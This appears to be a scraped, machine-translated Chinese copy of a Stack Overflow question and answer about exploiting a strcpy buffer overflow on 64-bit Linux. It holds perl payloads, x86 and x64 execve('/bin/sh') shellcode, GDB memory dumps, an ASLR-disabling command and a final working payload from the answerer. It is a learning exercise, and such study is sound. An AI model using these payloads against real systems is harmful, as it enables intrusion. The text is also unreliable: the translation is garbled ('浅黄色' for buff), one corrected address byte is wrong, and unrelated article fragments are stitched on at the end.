- c - 在位数组中找到第一个零
- linux - Unix 显示有关匹配两种模式之一的文件的信息
- 正则表达式替换多个文件
- linux - 隐藏来自 xtrace 的命令
我正在尝试使用本教程执行缓冲区溢出攻击我帖子中的所有内容都将直接在 GDB 中执行。
https://www.reddit.com/r/hacking/comments/1wy610/exploit_tutorial_buffer_overflow/
这是我想利用缓冲区溢出的代码。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[])
{
char buff[256];
if (argc == 1)
{
printf("Usage: %s input\n", argv[0]);
exit (0);
}
strcpy(buff, argv[1]);
printf("%s\n", buff);
return (1);
}
我目前正在使用 Linux mint 18,我有一个 64 位处理器。鉴于我有一个 64 位架构。每个地址都占 8 个字节。现在让我们想象一下我当前的 stakframe。
|浅黄色[256] |
|限制性商业惯例 |
|保存 RIP |
我的目标是用我的“nop sled”的地址覆盖“SAVE RIP”。鉴于我在 64 位架构上。我将用 256 + 8 个字符填充变量 buff。 8 字符将用于覆盖 RBP 指针。我将使用 perl 覆盖。
perl -e 'print "\x90"x 264'
然后使用我遵循的教程中提供的 shellcode
perl -e 'print "\x90"x (264 - 26) 。 “\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"'
我减去 26,因为 shellcode 的长度是 26。
现在。我将使用 GDB 找出我的 nop sled 的地址。
0x00000000004005f6 <+0>: push rbp
0x00000000004005f7 <+1>: mov rbp,rsp
0x00000000004005fa <+4>: sub rsp,0x110
0x0000000000400601 <+11>: mov DWORD PTR [rbp-0x104],edi
0x0000000000400607 <+17>: mov QWORD PTR [rbp-0x110],rsi
0x000000000040060e <+24>: cmp DWORD PTR [rbp-0x104],0x1
0x0000000000400615 <+31>: jne 0x40063d <main+71>
0x0000000000400617 <+33>: mov rax,QWORD PTR [rbp-0x110]
0x000000000040061e <+40>: mov rax,QWORD PTR [rax]
0x0000000000400621 <+43>: mov rsi,rax
0x0000000000400624 <+46>: mov edi,0x400704
0x0000000000400629 <+51>: mov eax,0x0
0x000000000040062e <+56>: call 0x4004c0 <printf@plt>
0x0000000000400633 <+61>: mov edi,0x0
0x0000000000400638 <+66>: call 0x4004e0 <exit@plt>
0x000000000040063d <+71>: mov rax,QWORD PTR [rbp-0x110]
0x0000000000400644 <+78>: add rax,0x8
0x0000000000400648 <+82>: mov rdx,QWORD PTR [rax]
0x000000000040064b <+85>: lea rax,[rbp-0x100]
0x0000000000400652 <+92>: mov rsi,rdx
0x0000000000400655 <+95>: mov rdi,rax
0x0000000000400658 <+98>: call 0x4004a0 <strcpy@plt>
=> 0x000000000040065d <+103>: lea rax,[rbp-0x100]
0x0000000000400664 <+110>: mov rdi,rax
0x0000000000400667 <+113>: call 0x4004b0 <puts@plt>
0x000000000040066c <+118>: mov eax,0x1
0x0000000000400671 <+123>: leave
0x0000000000400672 <+124>: ret
我在 strcpy 函数之后添加了一个断点。我正在尝试使用
找出 sled nop 的开始x/x $rsp
给我看
0x7fffffffde20: 0xffffe018
那我要做
x/s 0x7fffffffde20
然后按“Enter”直到找到我要查找的内容。
现在,第二个问题来了。我发现两个不同的地址似乎包含 nop sled
0x7fffffffde30: '\220' <repeats 200 times>...
(gdb)
0x7fffffffdef8: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"
和
0x7fffffffe32d: '\220' <repeats 200 times>...
(gdb)
0x7fffffffe3f5: '\220' <repeats 39 times>, "\061\300Phn/shh//bi\211\343P\211\342S\211\341\260\v̀"
不知道该选哪个,我决定两个都试试。但是,假设我使用的是第一个,更准确地说是 0x7fffffffde30。 (不要忘记带字节序的车)。
我将尝试使用以下命令行执行我的代码:
(gdb) run `perl -e 'print "\x90" x (264 - 26) . "\x90\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" . "\x7f\xff\xff\xff\xde\x30"'`
然后我验证 RIP 是否被所需地址正确覆盖。
(gdb) info frame
Stack level 0, frame at 0x7fffffffdf30:
rip = 0x40065d in main (hacking.c:15); saved rip = 0x30deffffff7f
source language c.
Arglist at 0x7fffffffdf20, args: argc=2, argv=0x7fffffffe008
Locals at 0x7fffffffdf20, Previous frame's sp is 0x7fffffffdf30
Saved registers:
rbp at 0x7fffffffdf20, rip at 0x7fffffffdf28
(gdb)
并且我们可以看到保存的RIP已经成功的被期望的地址覆盖了。现在的主要问题是当我在没有打开任何 shell 的情况下按“继续”我的程序段错误时。我完全按照教程中的解释进行操作,所以任何人都可以解释我:
-为什么当我在缓冲区中写入 263 字节时出现段错误?当我覆盖“保存 RIP”时,程序可能会出现段错误,RBP 是否也一样?
-我找到了两个不同的地址,其中包含我的 nop sled,我应该选择哪个?
-最后,根据您的说法,我做错了什么或者看起来不合逻辑吗?我不知道为什么我的 exploit 会起作用,而且在互联网上没有发现其他人和我有同样的问题。
谢谢
我正在用这种方式编译
sudo bash -c 'echo 0 > /proc/sys/kernel/randomize_va_space' gcc
hacking.c -fno-stack-protector -g3 -z execstack
编辑:
谢谢你的评论。我按照你告诉我的做了,但它仍然是段错误。
你好@russtone。
谢谢你的回答,我按照你告诉我的做了,但它仍然是段错误。
`
(gdb) x/300bx $rsp
0x7fffffffdc70: 0x68 0xde 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdc78: 0x00 0x00 0x00 0x00 0x02 0x00 0x00 0x00
===> 0x7fffffffdc80: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc88: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc90: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdc98: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdca0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdca8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcb0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcb8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcc0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcc8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcd0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcd8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdce0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdce8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcf0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdcf8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd00: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd08: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd10: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd18: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd20: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd28: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd30: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd38: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd40: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd48: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd50: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd58: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd60: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffdd68: 0x90 0x90 0x90 0x48 0x31 0xff 0x57 0x57
0x7fffffffdd70: 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62 0x69
0x7fffffffdd78: 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef 0x08
0x7fffffffdd80: 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f 0x05
0x7fffffffdd88: 0x90 0xdc 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffdd90: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
我使用这个地址时不会忘记字节顺序。
"0x7fffffffdc80"
哪个给我
"\x80\xdc\xff\xff\xff\x7f"
所以GDB中最后的命令是
(gdb) run `perl -e 'print "\x90" x (264 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x80\xdc\xff\xff\xff\x7f"'`
然后
continue
显示
Continuing. �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������H1�WW^ZH�//bin/shH�WT_j;X�����
Program received signal SIGSEGV, Segmentation fault. 0x00007fffffffdd80 in ?? ()
谢谢
最佳答案
Why it segfault when I write 263 byte inside the buffer ? A program can segfault when I overwrite "save RIP", is it the same for RBP ?
在您的示例中,当程序试图访问不属于它的地址 0x30deffffff7f
处的内存时,就会发生段错误。你想用 0x7fffffffde30
而不是 0x30deffffff7f
覆盖 RIP,但你传递了错误的负载。因为你有 little-endian负载中的架构而不是:
... "\x7f\xff\xff\xff\xde\x30"
你需要通过:
... "\x30\xde\xff\xff\xff\x7e"
我也不确定你的 shellcode 地址是 0x7fffffffde30
因为 x/s $rsp
不是了解它的最佳方式。最好使用类似的东西:
(gdb) x/300bx $rsp
0x7fffffffd220: 0x18 0xd4 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffd228: 0xf6 0x77 0xde 0xf7 0x02 0x00 0x00 0x00
0x7fffffffd230: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd238: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd240: 0x90 0x90 0x90 0x90 0x48 0x31 0xff 0x57
0x7fffffffd248: 0x57 0x5e 0x5a 0x48 0xbf 0x2f 0x2f 0x62
0x7fffffffd250: 0x69 0x6e 0x2f 0x73 0x68 0x48 0xc1 0xef
0x7fffffffd258: 0x08 0x57 0x54 0x5f 0x6a 0x3b 0x58 0x0f
0x7fffffffd260: 0x05 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd268: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd270: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd278: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd280: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd288: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd290: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd298: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2a0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2a8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2b0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2b8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2c0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2c8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2e8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2f0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd2f8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd300: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd308: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd310: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd318: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd320: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd328: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd330: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
0x7fffffffd338: 0x40 0xd2 0xff 0xff 0xff 0x7f 0x00 0x00
0x7fffffffd340: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffd348: 0x18 0xd4 0xff 0xff
在上面的例子中,shelcode 是 "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
和它的地址可以类似于 0x7fffffffd240
。
I found out two different address which contain my nop sled, which one have I to choose ?
您找到的第一个地址是缓冲区 char buff[256]
,第二个地址是 argv[1]
。类 Unix 系统将 argv
放在堆栈上,因此在您的示例中选择哪个并不重要。但通常(对于任何操作系统)您需要使用 char buff[256]
的地址。
And Finally, according to you, did I do something wrong or which seem not logical ? I have no idea why my exploit does work and didn't find nobody else on internet which has the same problem like me.
我上面已经提到的第一件事是endianness .你有小端机器所以你需要传递 \x30\xde\xff\xff\xff\x7e
而不是 \x7f\xff\xff\xff\xde\x30
.
第二件事是你的shellcode。您正在使用 x86 程序示例中的 shellcode,但您需要 x64 的 shellcode。你可以使用这样的东西:
SECTION .text
global _start
_start:
xor rdi, rdi
push rdi
push rdi
pop rsi
pop rdx
mov rdi, 0x68732f6e69622f2f ; hs/nib//
shr rdi, 8 ; \x00hs/nib/
push rdi
push rsp
pop rdi
push 0x3b ; execve
pop rax
syscall
在字节码中将是:
"\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"
希望这对您有所帮助。祝你好运!
更新
好的,现在您覆盖了 rip
,并且根据 gdb 的输出,您成功跳转到了正确的地址。
现在的问题是您的 shell 代码太接近缓冲区边界了。
这样你就得到了图片:
然后在 main
函数的末尾执行命令
leave
ret
你跳转到了 addr_1
和 rsp = addr_2 + 8
(在 leave
之后,即 mov rsp, rbp; pop rbp
)。但是在 shell 代码的开头,您可以看到 2 个 push
指令在执行之后 $rsp = addr_2 + 8 - 16 = addr_2 - 8
。但是 addr_2 - 8
是你的 shell 代码的最后 8 个字节!因此,您的 shell 代码会 self 覆盖,您会遇到段错误。
为避免这种情况,您可以将 shell 代码放在 buf
中间的某个位置:
(gdb) run `perl -e 'print "\x90" x (200 - 29) . "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" . "\x90" x 64 . "\x10\xd2\xff\xff\xff\x7f"'`
关于c - 我正在尝试利用缓冲区溢出,我做错了什么吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/38416045/
在后台开启了“URL Rewrite”,看起来一切正常,可是点击某一栏目的时候却怎么都进不去,显示的依然是论坛的首页。看了一下论坛目录下,原来这下面并没有自己的.htaccess文件,所以默认使用的
本文实例为大家分享了.net发送邮件的实现代码,供大家参考,具体内容如下 关键代码: 需要引用命名空间: using System.Net.Mail; using System.Net;
今天的一个小测试是老师让用.NET用控件来制作一个拉菜单要求如下: 将鼠标移到父菜单上弹出3个子菜单,而且每个子菜单都有超链接。 以下是我自己做的代码: 复制代
我有以下内容 static const unsigned int chromosome = 6; double bestFitness[chromosomes]; for(int i = 0; i
关于附图,我需要一个计算算法来将 A 轴向下移动 n 英寸,将 B 轴从左向右移动 m 英寸,以便组件圆 D 遵循抛物线的曲线;圆 D 并不总是 10 英寸,可以更小。我不是数学专业的,所以这对我来说
我正在尝试利用我的格式字符串错误,它存在于这个程序中: #include #include #include #include #include void foo(char* tmp, ch
用Matplotlib和Seaborn这类Python库可以画出很好看的图,但是这些图只是静态的,难以动态且美观地呈现数值变化。要是在你下次的演示、视频、社交媒体Po文里能用短视频呈现数据变化,是不
1、进程介绍 进程:正在执行的程序,由程序、数据和进程控制块组成,是正在执行的程序,程序的一次执行过程,是资源调度的基本单位。 程序:没有执行的代码,是一个静态的。 2、线程
1、前言 在开发过程中,有时会遇到需要控制任务并发执行数量的需求。 例如一个爬虫程序,可以通过限制其并发任务数量来降低请求频率,从而避免由于请求过于频繁被封禁问题的发生。 接下来
Opera 管理着一个漏洞赏金计划,研究人员可以在该计划中报告 Opera 软件中的漏洞并获得奖励。 这篇文章就是我发现的一个漏洞——网页可能会从用户那里检索本地文件的屏幕截图。 考虑到 O
C++ 文件查找 在C++中我们要如何查找文件呢?我们需要一个结构体和几个大家可能不太熟悉的函数。这些函数和结构体在的头文件中,结构体为struct _finddata_t ,函数为_findfi
1、前言 本文利用 fsockopen() 函数,编写一个功能简单的端口扫描器。 2、关键技术 本实例的端口号是固定的,通过对数组的遍历,利用 fsockopen() 函数连接,如果连接成功,
最近在将一些项目的rest api迁移到.net core中,最开始是用的Nginx做反向代理,将已经完成切换的部分切入系统,如下图所示: 由于迁移过程中也在进行代码重构,需要经常比较频繁的测
前言 最近学习了python,感觉挺多地方能用到它的。打包 测试 上传 爬电影....而且代码量是真少。人生苦短,我用python。而今天写的这个是因为下载电影时总会发现除了视频还会有这两个文件,
1、Monkey测试简介 Monkey测试是Android平台自动化测试的一种手段,通过Monkey程序模拟用户触摸屏幕、滑动Trackball、按键等操作来对设备上的程序进行压力测试,检测程序
一直想写一套生成静态页面的文章系统 但面对生成静态后的一些复杂数据库交互问题。又望而却步! 于是就想 有没有 在不耽误数据交互的情况下,而又能降低服务器负
Qt 利用大量第 3 方库进行图像编码、压缩、加密、音频和视频编解码器支持等。 从历史上看,当我想使用它们时,我总是必须将它们作为附加依赖项包含在内。我一直想知道是否有一种方法可以简单地重用 Qt 已
我想知道是否可以使用属性将功能“混合”到类/方法/属性中。 就像是: [TrackChanges] public Foo { get; set; } 如果可能的话,有谁会如何实现? 最佳答
有些站点位于共享主机(Windows 2003 Server)上,因此我无法访问服务器配置。 我到处都读到关于杠杆浏览器缓存的信息,特别是静态文件(jpg,css,js等)的信息,但是...在我的情况
我想在我的项目中使用 Julia 的主要原因之一是它的速度,尤其是在计算积分方面。 我想在某个区间 [a,b] 上积分一维函数 f(x)。一般来说,Julia 的 quadgk 函数将是一个快速而准确
我是一名优秀的程序员,十分优秀!